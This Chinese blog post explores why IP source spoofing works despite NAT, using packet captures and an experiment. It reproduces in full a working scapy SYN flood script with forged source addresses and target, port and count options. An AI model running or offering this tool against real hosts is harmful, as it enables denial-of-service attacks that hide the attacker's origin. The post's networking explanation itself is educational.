关于ip伪造的原理探究

------正文内容展示,开始汲取新知识啦------

昨天有个朋友问我ip伪造的可行性,以前没深入了解过,于是上网搜索了一番,发现syn flood普遍利用了伪造源ip的方式进行攻击。

现在需求变成:

  • 伪造源ip对目标发包,不要求接收到返回包

这个需求能实现吗?又是怎么实现的?这个问题乍一看很显然可以,但是细细想来还是有些问题不太明白。

1. 发生困惑

想了一下,这个需求在我认知里面好像是不能实现的,由于之前写syn端口扫描器的时候,在syn tcp数据包中需要填写源ip和源端口,这个源ip是某一个网卡的ip,在自己的电脑上,也就是类似于172.23.22.234的私有ip。于是我产生一个疑问,就是伪造源ip真的有用的话,那么也就代表在正常tcp握手时,server端会识别syn包里的源ip(也就是私有地址),那server端是怎么知道把ack+syn包发到哪里呢?

做个实验,使用wireshark抓包,然后访问百度。

图片[1]-关于ip伪造的原理探究-使者云
图片[2]-关于ip伪造的原理探究-使者云

可以看到syn数据包的源ip确实为内网的私有地址172.23.22.234,那么server端拿到的数据包呢,通过tcpdump抓一下包试试

图片[3]-关于ip伪造的原理探究-使者云

可以看到server端拿到的包源ip为103.202.xxx.xxx也就是我的公网地址。

这样看来伪造数据包的源ip还有用吗?

2. 证明疑惑

首先看了一篇数据包发送寻址的文章《一个数据包在网络中到底是怎么游走的?

摘抄出其中比较关键的句子:

  • 在网络包传输的过程中, 源IP和目标IP始终是不会变的,一直变化的是MAC地址,因为需要MAC地址在以太网内进行 两个设备之间的包传输。
  • http响应报文也需要穿上TCP、IP、MAC头部,不过这次是源地址是服务器IP地址,目的地址是客户端IP地址。

那么为什么client发送的源ip到了server端就变了,变成了client的公网ip。这是因为在经过路由器时,会发生网络地址(NAT)转换,路由器通过NAT将源数据包中的源IP由172.23.22.234转换为103.202.xxx.xxx,并且将TCP端口号转换为60159,然后在路由器内部生成转换表。

那么疑问来了,此时伪造数据包中的源ip还有用吗?经过路由器做了nat转换后最终还是会变成公网ip?

3. 解除疑惑

还是做个实验来看,首先使用python构造raw syn包,伪造其中的源ip。

#!/usr/bin/python3

from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser


def randomIP():
    # ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
    ip = "192.168.1.20"
    print(f"srcip: {ip}")
    return ip

def randInt():
    x = randint(1000, 9000)
    return x


def SYN_Flood(dstIP, dstPort, counter):
    total = 0
    print ("Packets are sending ...")

    for x in range (0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP ()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = int(dstPort)
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1

    stdout.write("\nTotal packets sent: %i\n" % total)


def main():
    parser = ArgumentParser()
    parser.add_argument('--target', '-t', help='target IP address')
    parser.add_argument('--port', '-p', help='target port number')
    parser.add_argument('--count', '-c', help='number of packets')
    parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
    parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"

    args = parser.parse_args()

    if args.target is not None:
        if args.port is not None:
            if args.count is None:
                print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
                SYN_Flood(args.target, args.port, 1)

            else:
                SYN_Flood(args.target, args.port, int(args.count))

        else:
            print('[-]Please, use --port/-p to give target\'s port!')
            print('[!]Example: -p 445')
            print('[?] -h for help')
            exit()
    else:
        print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
                           [--count COUNT] [--version]
optional arguments:
  -h, --help            show this help message and exit
  --target TARGET, -t TARGET
                        target IP address
  --port PORT, -p PORT  target port number
  --count COUNT, -c COUNT
                        number of packets
  --version, -v         show program's version number and exit''')
        exit()

main()

修改其源ip来测试一下:

首先测试伪造源ip为一个随机的公网ip:

图片[4]-关于ip伪造的原理探究-使者云

发现server收到的源ip就是我们伪造的公网ip。看来经过路由器时,对源ip是公网ip的数据包不做nat转换。

接下来将数据包的源ip改成私有ip试试,按照猜想此时server收到的源ip应该是client的公网出口ip:

图片[5]-关于ip伪造的原理探究-使者云

确实是这样,猜想正确,数据包经过路由器被NAT转换了。

回头看看,问题就是对nat转换的过程不够清晰,路由器只对特定的数据包做nat转换。

4. 总结

伪造源ip对目标发包的需求是完全可以实现的,但是需要保证伪造的src ip不能被路由器进行nat转换。一般情况下,保证伪造的源ip为公有ip即可。

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞2579赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容